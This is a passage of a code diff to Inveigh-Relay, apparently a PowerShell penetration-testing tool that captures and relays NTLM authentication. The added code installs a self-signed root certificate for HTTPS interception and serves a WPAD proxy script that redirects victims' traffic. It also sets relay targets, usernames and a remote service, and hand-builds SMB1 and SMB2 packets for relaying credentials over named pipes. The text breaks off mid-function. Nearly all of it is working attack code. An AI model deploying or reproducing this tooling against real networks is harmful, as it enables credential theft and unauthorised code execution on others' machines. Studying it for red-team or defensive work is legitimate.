$inveigh.HTTPS = $false + $inveigh.status_queue.Add("HTTPS Capture/Relay Disabled Due To In Use Port $HTTPSPort") > $null + } + else { try { - $inveigh.HTTPS = $true - $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") - $certificate_store.Open('ReadWrite') - $certificate = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 - $certificate.Import($PWD.Path + "\Inveigh.pfx") - $certificate_store.Add($certificate) - $certificate_store.Close() - $netsh_certhash = "certhash=" + $inveigh.certificate_thumbprint - $netsh_app_ID = "appid={" + $inveigh.certificate_application_ID + "}" - $netsh_arguments = @("http","add","sslcert","ipport=0.0.0.0:443",$netsh_certhash,$netsh_app_ID) - & "netsh" $netsh_arguments > $null - $inveigh.status_queue.Add("HTTPS Capture Enabled") > $null + $inveigh.certificate_issuer = $HTTPSCertIssuer + $inveigh.certificate_CN = $HTTPSCertSubject + $inveigh.status_queue.Add("HTTPS Certificate Issuer = " + $inveigh.certificate_issuer) > $null + $inveigh.status_queue.Add("HTTPS Certificate CN = " + $inveigh.certificate_CN) > $null + $certificate_check = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -match $inveigh.certificate_issuer}) + + if(!$certificate_check) + { + # credit to subTee for cert creation code https://github.com/subTee/Interceptor + $certificate_distinguished_name = new-object -com "X509Enrollment.CX500DistinguishedName" + $certificate_distinguished_name.Encode( "CN=" + $inveigh.certificate_CN, $certificate_distinguished_name.X500NameFlags.X500NameFlags.XCN_CERT_NAME_STR_NONE) + $certificate_issuer_distinguished_name = new-object -com "X509Enrollment.CX500DistinguishedName" + $certificate_issuer_distinguished_name.Encode("CN=" + $inveigh.certificate_issuer, $certificate_distinguished_name.X500NameFlags.X500NameFlags.XCN_CERT_NAME_STR_NONE) + $certificate_key = new-object -com "X509Enrollment.CX509PrivateKey" + $certificate_key.ProviderName = "Microsoft Enhanced RSA and AES Cryptographic Provider" + $certificate_key.KeySpec = 2 + $certificate_key.Length = 2048 + $certificate_key.MachineContext = 1 + $certificate_key.Create() + $certificate_server_auth_OID = new-object -com "X509Enrollment.CObjectId" + $certificate_server_auth_OID.InitializeFromValue("1.3.6.1.5.5.7.3.1") + $certificate_enhanced_key_usage_OID = new-object -com "X509Enrollment.CObjectIds.1" + $certificate_enhanced_key_usage_OID.add($certificate_server_auth_OID) + $certificate_enhanced_key_usage_extension = new-object -com "X509Enrollment.CX509ExtensionEnhancedKeyUsage" + $certificate_enhanced_key_usage_extension.InitializeEncode($certificate_enhanced_key_usage_OID) + $certificate = new-object -com "X509Enrollment.CX509CertificateRequestCertificate" + $certificate.InitializeFromPrivateKey(2,$certificate_key,"") + $certificate.Subject = $certificate_distinguished_name + $certificate.Issuer = $certificate_issuer_distinguished_name + $certificate.NotBefore = (get-date).AddDays(-271) + $certificate.NotAfter = $certificate.NotBefore.AddDays(824) + $certificate_hash_algorithm_OID = New-Object -ComObject X509Enrollment.CObjectId + $certificate_hash_algorithm_OID.InitializeFromAlgorithmName(1,0,0,"SHA256") + $certificate.HashAlgorithm = $certificate_hash_algorithm_OID + $certificate.X509Extensions.Add($certificate_enhanced_key_usage_extension) + $certificate_basic_constraints = new-object -com "X509Enrollment.CX509ExtensionBasicConstraints" + $certificate_basic_constraints.InitializeEncode("true",1) + $certificate.X509Extensions.Add($certificate_basic_constraints) + $certificate.Encode() + $certificate_enrollment = new-object -com "X509Enrollment.CX509Enrollment" + $certificate_enrollment.InitializeFromRequest($certificate) + $certificate_data = $certificate_enrollment.CreateRequest(0) + $certificate_enrollment.InstallResponse(2,$certificate_data,0,"") + $inveigh.certificate = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -match $inveigh.certificate_issuer}) + $inveigh.HTTPS = $true + $inveigh.status_queue.Add("HTTPS Capture/Relay = Enabled") > $null + } + else + { + + if($HTTPSForceCertDelete -eq 'Y') + { + $inveigh.HTTPS_force_certificate_delete = $true + } + + $inveigh.HTTPS_existing_certificate = $true + $inveigh.status_queue.Add("HTTPS Capture = Using Existing Certificate") > $null + } + } catch { - $certificate_store.Close() - $HTTPS="N" + $HTTPS = "N" $inveigh.HTTPS = $false - $inveigh.status_queue.Add("HTTPS Capture Disabled Due To Certificate Install Error") > $null + $inveigh.status_queue.Add("HTTPS Capture/Relay Disabled Due To Certificate Error") > $null } } - else - { - $inveigh.status_queue.Add("HTTPS Capture Disabled") > $null - } + +} +else +{ + $inveigh.status_queue.Add("HTTPS Capture/Relay = Disabled") > $null +} + +if($HTTP -eq 'Y' -or $HTTPS -eq 'Y') +{ if($Challenge) { - $Inveigh.challenge = $challenge $inveigh.status_queue.Add("NTLM Challenge = $Challenge") > $null } if($MachineAccounts -eq 'N') { - $inveigh.status_queue.Add("Ignoring Machine Accounts") > $null + $inveigh.status_queue.Add("Machine Account Capture = Disabled") > $null $inveigh.machine_accounts = $false } else @@ -293,84 +527,169 @@ if(!$inveigh.running) $inveigh.machine_accounts = $true } - $inveigh.status_queue.Add("Force WPAD Authentication = $WPADAuth") > $null + $inveigh.status_queue.Add("WPAD Authentication = $WPADAuth") > $null - if($ConsoleOutput -eq 'Y') - { - $inveigh.status_queue.Add("Real Time Console Output Enabled") > $null - $inveigh.console_output = $true - } - else + if($WPADAuth -eq "NTLM") { + $WPADAuthIgnore = ($WPADAuthIgnore | Where-Object {$_ -and $_.Trim()}) - if($inveigh.tool -eq 1) + if($WPADAuthIgnore.Count -gt 0) { - $inveigh.status_queue.Add("Real Time Console Output Disabled Due To External Tool Selection") > $null - } - else - { - $inveigh.status_queue.Add("Real Time Console Output Disabled") > $null + $inveigh.status_queue.Add("WPAD NTLM Authentication Ignore List = " + ($WPADAuthIgnore -join ",")) > $null } } - if($FileOutput -eq 'Y') - { - $inveigh.status_queue.Add("Real Time File Output Enabled") > $null - $inveigh.status_queue.Add("Output Directory = $output_directory") > $null - $inveigh.file_output = $true - } - else - { - $inveigh.status_queue.Add("Real Time File Output Disabled") > $null - } + $HTTPResetDelay = ($HTTPResetDelay | Where-Object {$_ -and $_.Trim()}) - if($RunTime -eq 1) + if($HTTPResetDelay.Count -gt 0) { - $inveigh.status_queue.Add("Run Time = $RunTime Minute") > $null - } - elseif($RunTime -gt 1) - { - $inveigh.status_queue.Add("Run Time = $RunTime Minutes") > $null + $inveigh.status_queue.Add("HTTP Reset Delay List = " + ($HTTPResetDelay -join ",")) > $null + $inveigh.status_queue.Add("HTTP Reset Delay Timeout = $HTTPResetDelayTimeout Seconds") > $null } } -$inveigh.status_queue.Add("SMB Relay Enabled") > $null -$inveigh.status_queue.Add("SMB Relay Target = $SMBRelayTarget") > $null - -if($SMBRelayUsernames) +if($Proxy -eq 'Y') { - if($SMBRelayUsernames.Count -eq 1) + if($proxy_port_check) { - $inveigh.status_queue.Add("SMB Relay Username = " + $SMBRelayUsernames -join ",") > $null + $HTTP = "N" + $inveigh.status_queue.Add("Proxy Capture/Relay Disabled Due To In Use Port $ProxyPort") > $null } else { - $inveigh.status_queue.Add("SMB Relay Usernames = " + $SMBRelayUsernames -join ",") > $null + $inveigh.status_queue.Add("Proxy Capture/Relay = Enabled") > $null + $inveigh.status_queue.Add("Proxy Port = $ProxyPort") > $null + $ProxyPortFailover = $ProxyPort + 1 + $WPADResponse = "function FindProxyForURL(url,host){return `"PROXY $proxy_WPAD_IP`:$ProxyPort; PROXY $proxy_WPAD_IP`:$ProxyPortFailover; DIRECT`";}" + $ProxyIgnore = ($ProxyIgnore | Where-Object {$_ -and $_.Trim()}) + + if($ProxyIgnore.Count -gt 0) + { + $inveigh.status_queue.Add("Proxy Ignore List = " + ($ProxyIgnore -join ",")) > $null + } + } } -if($SMBRelayAutoDisable -eq 'Y') +$inveigh.status_queue.Add("Relay Target = $Target") > $null + +if($Usernames) { - $inveigh.status_queue.Add("SMB Relay Auto Disable Enabled") > $null + + if($Usernames.Count -eq 1) + { + $inveigh.status_queue.Add("Relay Username = " + ($Usernames -join ",")) > $null + } + else + { + $inveigh.status_queue.Add("Relay Usernames = " + ($Usernames -join ",")) > $null + } + +} + +if($RelayAutoDisable -eq 'Y') +{ + $inveigh.status_queue.Add("Relay Auto Disable = Enabled") > $null } else { - $inveigh.status_queue.Add("SMB Relay Auto Disable Disabled") > $null + $inveigh.status_queue.Add("Relay Auto Disable = Disabled") > $null } -if($SMBRelayNetworkTimeout) +if($RelayAutoExit -eq 'Y') { - $inveigh.status_queue.Add("SMB Relay Network Timeout = $SMBRelayNetworkTimeout Seconds") > $null + $inveigh.status_queue.Add("Relay Auto Exit = Enabled") > $null +} +else +{ + $inveigh.status_queue.Add("Relay Auto Exit = Disabled") > $null +} + +if($Service) +{ + $inveigh.status_queue.Add("Relay Service = $Service") > $null +} + +if($SMB1) +{ + $inveigh.status_queue.Add("SMB Version = SMB1") > $null + $SMB_version = 'SMB1' +} + +if($ConsoleOutput -ne 'N') +{ + + if($ConsoleOutput -eq 'Y') + { + $inveigh.status_queue.Add("Real Time Console Output = Enabled") > $null + } + else + { + $inveigh.status_queue.Add("Real Time Console Output = $ConsoleOutput") > $null + } + + $inveigh.console_output = $true + + if($ConsoleStatus -eq 1) + { + $inveigh.status_queue.Add("Console Status = $ConsoleStatus Minute") > $null + } + elseif($ConsoleStatus -gt 1) + { + $inveigh.status_queue.Add("Console Status = $ConsoleStatus Minutes") > $null + } + +} +else +{ + + if($inveigh.tool -eq 1) + { + $inveigh.status_queue.Add("Real Time Console Output Disabled Due To External Tool Selection") > $null + } + else + { + $inveigh.status_queue.Add("Real Time Console Output = Disabled") > $null + } + +} + +if($ConsoleUnique -eq 'Y') +{ + $inveigh.console_unique = $true +} +else +{ + $inveigh.console_unique = $false +} + +if($FileOutput -eq 'Y') +{ + $inveigh.status_queue.Add("Real Time File Output = Enabled") > $null + $inveigh.status_queue.Add("Output Directory = $output_directory") > $null + $inveigh.file_output = $true +} +else +{ + $inveigh.status_queue.Add("Real Time File Output = Disabled") > $null +} + +if($RunTime -eq 1) +{ + $inveigh.status_queue.Add("Run Time = $RunTime Minute") > $null +} +elseif($RunTime -gt 1) +{ + $inveigh.status_queue.Add("Run Time = $RunTime Minutes") > $null } if($ShowHelp -eq 'Y') { - $inveigh.status_queue.Add("Use Get-Command -Noun Inveigh* to show available functions") > $null - $inveigh.status_queue.Add("Run Stop-Inveigh to stop Inveigh") > $null + $inveigh.status_queue.Add("Run Stop-Inveigh to stop Inveigh-Relay") > $null if($inveigh.console_output) { @@ -385,29 +704,37 @@ if($inveigh.status_output) while($inveigh.status_queue.Count -gt 0) { - if($inveigh.output_stream_only) - { - Write-Output($inveigh.status_queue[0] + $inveigh.newline) - $inveigh.status_queue.RemoveRange(0,1) - } - else + switch -Wildcard ($inveigh.status_queue[0]) { - switch ($inveigh.status_queue[0]) + {$_ -like "* Disabled Due To *" -or $_ -like "Run Stop-Inveigh to stop Inveigh-Relay" -or $_ -like "Windows Firewall = Enabled"} { - "Run Stop-Inveigh to stop Inveigh" + if($inveigh.output_stream_only) + { + Write-Output($inveigh.status_queue[0] + $inveigh.newline) + } + else { Write-Warning($inveigh.status_queue[0]) - $inveigh.status_queue.RemoveRange(0,1) } - default + $inveigh.status_queue.RemoveAt(0) + } + + default + { + + if($inveigh.output_stream_only) + { + Write-Output($inveigh.status_queue[0] + $inveigh.newline) + } + else { Write-Output($inveigh.status_queue[0]) - $inveigh.status_queue.RemoveRange(0,1) } + $inveigh.status_queue.RemoveAt(0) } } @@ -419,47 +746,782 @@ if($inveigh.status_output) $process_ID = [System.Diagnostics.Process]::GetCurrentProcess() | Select-Object -expand id $process_ID = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($process_ID)) $process_ID = $process_ID -replace "-00-00","" -[Byte[]] $inveigh.process_ID_bytes = $process_ID.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} +[Byte[]]$inveigh.process_ID_bytes = $process_ID.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} # Begin ScriptBlocks -# Shared Basic functions ScriptBlock +# Shared Basic Functions ScriptBlock $shared_basic_functions_scriptblock = { - function DataToUInt16($field) - { - [Array]::Reverse($field) - return [System.BitConverter]::ToUInt16($field,0) - } - function DataToUInt32($field) - { - [Array]::Reverse($field) - return [System.BitConverter]::ToUInt32($field,0) - } - - function DataLength + function DataLength2 { param ([Int]$length_start,[Byte[]]$string_extract_data) - $string_length = [System.BitConverter]::ToInt16($string_extract_data[$length_start..($length_start + 1)],0) + $string_length = [System.BitConverter]::ToUInt16($string_extract_data[$length_start..($length_start + 1)],0) + return $string_length + } + + function DataLength4 + { + param ([Int]$length_start,[Byte[]]$string_extract_data) + + $string_length = [System.BitConverter]::ToUInt32($string_extract_data[$length_start..($length_start + 3)],0) return $string_length } function DataToString { - param ([Int]$string_length,[Int]$string2_length,[Int]$string3_length,[Int]$string_start,[Byte[]]$string_extract_data) + param ([Int]$string_start,[Int]$string_length,[Byte[]]$string_extract_data) - $string_data = [System.BitConverter]::ToString($string_extract_data[($string_start+$string2_length+$string3_length)..($string_start+$string_length+$string2_length+$string3_length - 1)]) + $string_data = [System.BitConverter]::ToString($string_extract_data[$string_start..($string_start + $string_length - 1)]) $string_data = $string_data -replace "-00","" $string_data = $string_data.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} $string_extract = New-Object System.String ($string_data,0,$string_data.Length) - return $string_extract } + } -# SMB NTLM functions ScriptBlock - function for parsing NTLM challenge/response +# Irkin Functions ScriptBlock +$irkin_functions_scriptblock = +{ + function ConvertFrom-PacketOrderedDictionary + { + param($packet_ordered_dictionary) + + ForEach($field in $packet_ordered_dictionary.Values) + { + $byte_array += $field + } + + return $byte_array + } + + #NetBIOS + + function Get-PacketNetBIOSSessionService() + { + param([Int]$packet_header_length,[Int]$packet_data_length) + + [Byte[]]$packet_netbios_session_service_length = [System.BitConverter]::GetBytes($packet_header_length + $packet_data_length) + $packet_NetBIOS_session_service_length = $packet_netbios_session_service_length[2..0] + + $packet_NetBIOSSessionService = New-Object System.Collections.Specialized.OrderedDictionary + $packet_NetBIOSSessionService.Add("NetBIOSSessionService_Message_Type",[Byte[]](0x00)) + $packet_NetBIOSSessionService.Add("NetBIOSSessionService_Length",[Byte[]]($packet_netbios_session_service_length)) + + return $packet_NetBIOSSessionService + } + + #SMB1 + + function Get-PacketSMBHeader() + { + param([Byte[]]$packet_command,[Byte[]]$packet_flags,[Byte[]]$packet_flags2,[Byte[]]$packet_tree_ID,[Byte[]]$packet_process_ID,[Byte[]]$packet_user_ID) + + $packet_SMBHeader = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBHeader.Add("SMBHeader_Protocol",[Byte[]](0xff,0x53,0x4d,0x42)) + $packet_SMBHeader.Add("SMBHeader_Command",$packet_command) + $packet_SMBHeader.Add("SMBHeader_ErrorClass",[Byte[]](0x00)) + $packet_SMBHeader.Add("SMBHeader_Reserved",[Byte[]](0x00)) + $packet_SMBHeader.Add("SMBHeader_ErrorCode",[Byte[]](0x00,0x00)) + $packet_SMBHeader.Add("SMBHeader_Flags",$packet_flags) + $packet_SMBHeader.Add("SMBHeader_Flags2",$packet_flags2) + $packet_SMBHeader.Add("SMBHeader_ProcessIDHigh",[Byte[]](0x00,0x00)) + $packet_SMBHeader.Add("SMBHeader_Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMBHeader.Add("SMBHeader_Reserved2",[Byte[]](0x00,0x00)) + $packet_SMBHeader.Add("SMBHeader_TreeID",$packet_tree_ID) + $packet_SMBHeader.Add("SMBHeader_ProcessID",$packet_process_ID) + $packet_SMBHeader.Add("SMBHeader_UserID",$packet_user_ID) + $packet_SMBHeader.Add("SMBHeader_MultiplexID",[Byte[]](0x00,0x00)) + + return $packet_SMBHeader + } + + function Get-PacketSMBNegotiateProtocolRequest() + { + param([String]$packet_version) + + if($packet_version -eq 'SMB1') + { + [Byte[]]$packet_byte_count = 0x0c,0x00 + } + else + { + [Byte[]]$packet_byte_count = 0x22,0x00 + } + + $packet_SMBNegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_WordCount",[Byte[]](0x00)) + $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_ByteCount",$packet_byte_count) + $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_BufferFormat",[Byte[]](0x02)) + $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_Name",[Byte[]](0x4e,0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00)) + + if($packet_version -ne 'SMB1') + { + $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_BufferFormat2",[Byte[]](0x02)) + $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_Name2",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x30,0x30,0x32,0x00)) + $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_BufferFormat3",[Byte[]](0x02)) + $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_Name3",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x3f,0x3f,0x3f,0x00)) + } + + return $packet_SMBNegotiateProtocolRequest + } + + function Get-PacketSMBSessionSetupAndXRequest() + { + param([Byte[]]$packet_security_blob) + + [Byte[]]$packet_byte_count = [System.BitConverter]::GetBytes($packet_security_blob.Length) + $packet_byte_count = $packet_byte_count[0,1] + [Byte[]]$packet_security_blob_length = [System.BitConverter]::GetBytes($packet_security_blob.Length + 5) + $packet_security_blob_length = $packet_security_blob_length[0,1] + + $packet_SMBSessionSetupAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_WordCount",[Byte[]](0x0c)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_AndXCommand",[Byte[]](0xff)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_Reserved",[Byte[]](0x00)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_AndXOffset",[Byte[]](0x00,0x00)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_MaxBuffer",[Byte[]](0xff,0xff)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_MaxMpxCount",[Byte[]](0x02,0x00)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_VCNumber",[Byte[]](0x01,0x00)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_SessionKey",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_SecurityBlobLength",$packet_byte_count) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_Reserved2",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_Capabilities",[Byte[]](0x44,0x00,0x00,0x80)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_ByteCount",$packet_security_blob_length) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_SecurityBlob",$packet_security_blob) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_NativeOS",[Byte[]](0x00,0x00,0x00)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_NativeLANManage",[Byte[]](0x00,0x00)) + + return $packet_SMBSessionSetupAndXRequest + } + + function Get-PacketSMBTreeConnectAndXRequest() + { + param([Byte[]]$packet_path) + + [Byte[]]$packet_path_length = [System.BitConverter]::GetBytes($packet_path.Length + 7) + $packet_path_length = $packet_path_length[0,1] + + $packet_SMBTreeConnectAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_WordCount",[Byte[]](0x04)) + $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_AndXCommand",[Byte[]](0xff)) + $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Reserved",[Byte[]](0x00)) + $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_AndXOffset",[Byte[]](0x00,0x00)) + $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Flags",[Byte[]](0x00,0x00)) + $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_PasswordLength",[Byte[]](0x01,0x00)) + $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_ByteCount",$packet_path_length) + $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Password",[Byte[]](0x00)) + $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Tree",$packet_path) + $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Service",[Byte[]](0x3f,0x3f,0x3f,0x3f,0x3f,0x00)) + + return $packet_SMBTreeConnectAndXRequest + } + + function Get-PacketSMBNTCreateAndXRequest() + { + param([Byte[]]$packet_named_pipe) + + [Byte[]]$packet_named_pipe_length = [System.BitConverter]::GetBytes($packet_named_pipe.Length) + $packet_named_pipe_length = $packet_named_pipe_length[0,1] + [Byte[]]$packet_file_name_length = [System.BitConverter]::GetBytes($packet_named_pipe.Length - 1) + $packet_file_name_length = $packet_file_name_length[0,1] + + $packet_SMBNTCreateAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_WordCount",[Byte[]](0x18)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_AndXCommand",[Byte[]](0xff)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Reserved",[Byte[]](0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_AndXOffset",[Byte[]](0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Reserved2",[Byte[]](0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_FileNameLen",$packet_file_name_length) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_CreateFlags",[Byte[]](0x16,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_RootFID",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_AccessMask",[Byte[]](0x00,0x00,0x00,0x02)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_AllocationSize",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_FileAttributes",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_ShareAccess",[Byte[]](0x07,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Disposition",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_CreateOptions",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Impersonation",[Byte[]](0x02,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_SecurityFlags",[Byte[]](0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_ByteCount",$packet_named_pipe_length) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Filename",$packet_named_pipe) + + return $packet_SMBNTCreateAndXRequest + } + + function Get-PacketSMBReadAndXRequest() + { + $packet_SMBReadAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_WordCount",[Byte[]](0x0a)) + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_AndXCommand",[Byte[]](0xff)) + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_Reserved",[Byte[]](0x00)) + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_AndXOffset",[Byte[]](0x00,0x00)) + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_FID",[Byte[]](0x00,0x40)) + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_MaxCountLow",[Byte[]](0x58,0x02)) + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_MinCount",[Byte[]](0x58,0x02)) + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_Unknown",[Byte[]](0xff,0xff,0xff,0xff)) + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_Remaining",[Byte[]](0x00,0x00)) + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_ByteCount",[Byte[]](0x00,0x00)) + + return $packet_SMBReadAndXRequest + } + + function Get-PacketSMBWriteAndXRequest() + { + param([Byte[]]$packet_file_ID,[Int]$packet_RPC_length) + + [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_RPC_length) + $packet_write_length = $packet_write_length[0,1] + + $packet_SMBWriteAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_WordCount",[Byte[]](0x0e)) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_AndXCommand",[Byte[]](0xff)) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_Reserved",[Byte[]](0x00)) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_AndXOffset",[Byte[]](0x00,0x00)) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_FID",$packet_file_ID) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_Offset",[Byte[]](0xea,0x03,0x00,0x00)) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_Reserved2",[Byte[]](0xff,0xff,0xff,0xff)) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_WriteMode",[Byte[]](0x08,0x00)) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_Remaining",$packet_write_length) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_DataLengthHigh",[Byte[]](0x00,0x00)) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_DataLengthLow",$packet_write_length) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_DataOffset",[Byte[]](0x3f,0x00)) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_HighOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_ByteCount",$packet_write_length) + + return $packet_SMBWriteAndXRequest + } + + function Get-PacketSMBCloseRequest() + { + param ([Byte[]]$packet_file_ID) + + $packet_SMBCloseRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBCloseRequest.Add("SMBCloseRequest_WordCount",[Byte[]](0x03)) + $packet_SMBCloseRequest.Add("SMBCloseRequest_FID",$packet_file_ID) + $packet_SMBCloseRequest.Add("SMBCloseRequest_LastWrite",[Byte[]](0xff,0xff,0xff,0xff)) + $packet_SMBCloseRequest.Add("SMBCloseRequest_ByteCount",[Byte[]](0x00,0x00)) + + return $packet_SMBCloseRequest + } + + function Get-PacketSMBTreeDisconnectRequest() + { + $packet_SMBTreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBTreeDisconnectRequest.Add("SMBTreeDisconnectRequest_WordCount",[Byte[]](0x00)) + $packet_SMBTreeDisconnectRequest.Add("SMBTreeDisconnectRequest_ByteCount",[Byte[]](0x00,0x00)) + + return $packet_SMBTreeDisconnectRequest + } + + function Get-PacketSMBLogoffAndXRequest() + { + $packet_SMBLogoffAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_WordCount",[Byte[]](0x02)) + $packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_AndXCommand",[Byte[]](0xff)) + $packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_Reserved",[Byte[]](0x00)) + $packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_AndXOffset",[Byte[]](0x00,0x00)) + $packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_ByteCount",[Byte[]](0x00,0x00)) + + return $packet_SMBLogoffAndXRequest + } + + #SMB2 + + function Get-PacketSMB2Header() + { + param([Byte[]]$packet_command,[Int]$packet_message_ID,[Byte[]]$packet_tree_ID,[Byte[]]$packet_session_ID) + + [Byte[]]$packet_message_ID = [System.BitConverter]::GetBytes($packet_message_ID) + 0x00,0x00,0x00,0x00 + + $packet_SMB2Header = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2Header.Add("SMB2Header_ProtocolID",[Byte[]](0xfe,0x53,0x4d,0x42)) + $packet_SMB2Header.Add("SMB2Header_StructureSize",[Byte[]](0x40,0x00)) + 